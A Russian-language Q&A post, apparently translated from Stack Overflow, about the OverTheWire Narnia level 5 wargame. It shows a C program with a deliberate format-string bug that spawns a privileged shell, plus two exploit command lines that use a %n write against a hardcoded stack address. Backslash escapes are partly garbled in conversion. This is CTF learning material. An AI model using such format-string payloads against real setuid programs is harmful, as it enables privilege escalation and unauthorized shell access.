Нужна помощь по уязвимости строки формата

#c #stdio #format-string #ctf #conversion-specifier

#c #stdio #format-string #ctf #спецификатор преобразования

Вопрос:

 #include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int i = 1;
    char buffer[64];

    snprintf(buffer, sizeof buffer, argv[1]);
    buffer[sizeof (buffer) - 1] = 0;
    printf("Change i's value from 1 -> 500. ");

    if(i==500){
        printf("GOODn");
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }

    printf("No way...let me give you a hint!n");
    printf("buffer : [%s] (%d)n", buffer, strlen(buffer));
    printf ("i = %d (%p)n", i, amp;i);
    return 0;
}
 

Привет! Я работаю над упражнением ctf (Overwire 5 уровень, Нарния). Вот код, который я пробовал, но я не понимаю, почему второй вариант не работает.

Это работает

  ./narnia5 $(python -c 'print "xe0xd6xffxff"   "I6x%1$n"')
 

При этом я получаю SegFault

 ./narnia5 $(python -c 'print "xe0xd6xffxff"   "I6x%n"')
 

Принцип одинаков в обоих вариантах, вы передаете адрес, а спецификатор %n считывает количество переданных байтов, поскольку адрес занимает 4 байта, мы добавляем 496 байт с дополнением. Насколько я понимаю, в обоих случаях %n будет считывать следующий адрес в стеке. Спасибо за ваши ответы.

Комментарии:

1. Добро пожаловать в SO. Вы не должны предполагать, что кто-нибудь знает, что это значит: «упражнение ctf (Overwire 5 уровень, Нарния)». Вам нужно описать, чего вы хотите достичь.

2. @Gerhardh Вопрос помечен как ctf и cybersecurity, и в вопросе описывается уязвимость строки формата. Людям, задающим вопрос об OpenGL, не нужно объяснять, что такое OpenGL, если они отметили вопрос соответствующим образом. Поэтому я не согласен с вашим комментарием. Люди в этой области работы точно знают, что означает OP.